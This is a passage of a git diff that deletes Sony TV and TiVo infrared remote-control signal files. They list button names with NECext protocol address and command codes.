-name: TIMER_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: CLOCK_SET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: TELETEXT_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: PICTURE_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3E 00 00 00 -# -name: TELETEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_VIDEO_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: INPUT_VIDEO_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: INPUT_VIDEO_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: INPUT_RGB_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: INPUT_RGB_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: INPUT_VIDEO_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: INPUT_VIDEO_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: INPUT_VIDEO_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: INPUT_VIDEO_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: INPUT_VIDEO_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: INPUT_VIDEO_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: INPUT_VIDEO_10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_VIDEO_11 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: INPUT_VIDEO_12 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: INTERNAL_SPKS_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: ALARM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: TABLET_CHANGE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: PIP_CHANNEL_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: PIP_CHANNEL_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: PIP_TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5C 00 00 00 -# -name: PIP_POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 63 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 64 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: UP_(SELECT) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 67 00 00 00 -# -name: PIP_-_SELECT_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 67 00 00 00 -# -name: TV_SYS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 68 00 00 00 -# -name: STEREO_/_MONO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 69 00 00 00 -# -name: COLOUR_SYS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6A 00 00 00 -# -name: AUTO_PROGRAM_SCAN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6B 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6C 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6E 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6F 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 70 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 71 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 72 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: CHANNEL_ADD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 78 00 00 00 -# -name: CHANNEL_SKIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 79 00 00 00 -# -name: PARAMETER_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7C 00 00 00 -# -name: TRINITRON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir deleted file mode 100644 index 8a0a43c8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_SAVING -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 36 00 00 00 -# -name: DRC_MODE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 39 00 00 00 -# -name: FAVORITES -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 76 00 00 00 -# -name: FAVS -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 76 00 00 00 -# -name: ON_(ID_MODE) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7C 00 00 00 -# -name: OFF_(ID_MODE) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7D 00 00 00 -# -name: SET_(ID_MODE) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir deleted file mode 100644 index b0bf5ced5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 1A 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 1B 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 1C 00 00 00 -# -name: DIGIT_SEPARATOR -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 1D 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 20 00 00 00 -# -name: I-LINK -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 21 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 28 00 00 00 -# -name: MEMORY_STICK -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 31 00 00 00 -# -name: MENU_OPTIONS -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 36 00 00 00 -# -name: MEDIA -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 38 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 3C 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 3D 00 00 00 -# -name: PIP_ZOOM_LEFT -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 4D 00 00 00 -# -name: PIP_ZOOM_RIGHT -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 4E 00 00 00 -# -name: STORE_MODE -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 6A 00 00 00 -# -name: PIP_ZOOM_IN_LEFT -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 78 00 00 00 -# -name: PIP_ZOOM_IN_RIGHT -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir deleted file mode 100644 index 63dec21e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CC -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 10 00 00 00 -# -name: CLOSED_CAPTION -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 10 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 10 00 00 00 -# -name: HEADPHONES -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 11 00 00 00 -# -name: DVD_COMPONENT_INPUT -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 12 00 00 00 -# -name: COMP -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 17 00 00 00 -# -name: STEADY_SOUND_ON/OFF -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 1F 00 00 00 -# -name: EFFECT2 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 1F 00 00 00 -# -name: SCREEN:_NORMAL -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 31 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 31 00 00 00 -# -name: SCREEN:_ZOOM/SUBTTL -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 32 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 32 00 00 00 -# -name: HD_COMPONENT_INPUT -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 36 00 00 00 -# -name: SCREEN:_NORMAL/FULL -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3B 00 00 00 -# -name: FULL_-_NORMAL -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3B 00 00 00 -# -name: WIDE_MODE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 -# -name: SCREEN:_WIDE_ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 42 00 00 00 -# -name: WIDE_ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 42 00 00 00 -# -name: VERTICAL_CENTERING -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 44 00 00 00 -# -name: SCREEN:_SUBTITLE16X9 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 45 00 00 00 -# -name: RGB/YUV -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 48 00 00 00 -# -name: YUV -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 48 00 00 00 -# -name: COMP_2 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 48 00 00 00 -# -name: INPUT-YUV -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 48 00 00 00 -# -name: VM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 4D 00 00 00 -# -name: TRINITRON -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 4F 00 00 00 -# -name: NEXTVIEW -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 5B 00 00 00 -# -name: PROGRAM_GUIDE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 5B 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 60 00 00 00 -# -name: ACTIVE_<_> -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 63 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 63 00 00 00 -# -name: ACTIVE_CH -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 63 00 00 00 -# -name: ACTIVE_ -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 63 00 00 00 -# -name: DISPLAY_SHOW -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 66 00 00 00 -# -name: FULL_RESET -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 6C 00 00 00 -# -name: PIP_OFF -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 6E 00 00 00 -# -name: DEMO -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 71 00 00 00 -# -name: MULTI-PICTURE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 74 00 00 00 -# -name: MULTI-PIC -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 74 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 74 00 00 00 -# -name: PIP_CHN_INDEX -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 74 00 00 00 -# -name: PIP_MULTI -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 74 00 00 00 -# -name: SPLIT_PICTURE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: PIP_SPLIT -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: PIC_SPLIT -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: TWIN_VIEW -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: SPLIT_SCREEN -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: PIP_SPLIT_SCREEN -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7C 00 00 00 -# -name: PIP_AUDIO -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7C 00 00 00 -# -name: AUDIO_SWAP -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7C 00 00 00 -# -name: PIP_AUDIO_MONITOR -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7C 00 00 00 -# -name: PIP_SOUND -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7C 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7D 00 00 00 -# -name: DEGAUSS -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir deleted file mode 100644 index 9e65c0b47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GUIDE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir deleted file mode 100644 index d67babc78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SYNC_MENU -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 58 00 00 00 -# -name: HDMI_SCROLL -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 59 00 00 00 -# -name: INPUT_HDMI_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_HDMI_1_(2011) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_HDMI_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5B 00 00 00 -# -name: INPUT_HDMI_2_(2011) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5B 00 00 00 -# -name: INPUT_HDMI_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5C 00 00 00 -# -name: INPUT_HDMI_3_(2011) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5C 00 00 00 -# -name: INPUT_HDMI_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5D 00 00 00 -# -name: INPUT_HDMI_4_(2011) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5D 00 00 00 -# -name: INPUT_HDMI_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5E 00 00 00 -# -name: INPUT_HDMI_5_(2011) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5E 00 00 00 -# -name: MENU_POP_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 61 00 00 00 -# -name: DME_X_BRAVIA_MODULE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 6B 00 00 00 -# -name: INTERNET_TV -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 79 00 00 00 -# -name: INTERNET_APPS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7A 00 00 00 -# -name: NETFLIX -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7C 00 00 00 -# -name: INTERNET_QRIOCITY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir deleted file mode 100644 index 4916214b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 50 00 00 00 -# -name: VIDEO_MEMORY_1 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 51 00 00 00 -# -name: VIDEO_MEMORY_2 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 52 00 00 00 -# -name: VIDEO_MEMORY_3 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 53 00 00 00 -# -name: VIDEO_MEMORY_4 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 54 00 00 00 -# -name: VIDEO_MEMORY_5 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 55 00 00 00 -# -name: VIDEO_MEMORY_6 -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir deleted file mode 100644 index cf4c04142..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLOCK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2B 00 00 00 -# -name: AUDIO/RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: AUDIO_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: PICTURE/GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: VIDEO_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: MULTISELECT/YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4E 00 00 00 -# -name: MULTI-PIP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4E 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4E 00 00 00 -# -name: 16/9/BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir deleted file mode 100644 index 7ca50f1d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 29 00 00 00 -# -name: VIDEO_INPUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: INPUT_B -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 33 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5A 00 00 00 -# -name: S_VIDEO_INPUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir deleted file mode 100644 index e68c36a57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0B 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 11 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1A 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1B 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1D 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 20 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 23 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 27 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3A 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4A 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 5B 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 64 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 70 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 71 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 74 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 75 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir deleted file mode 100644 index a47c10500..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 09 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 0B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: 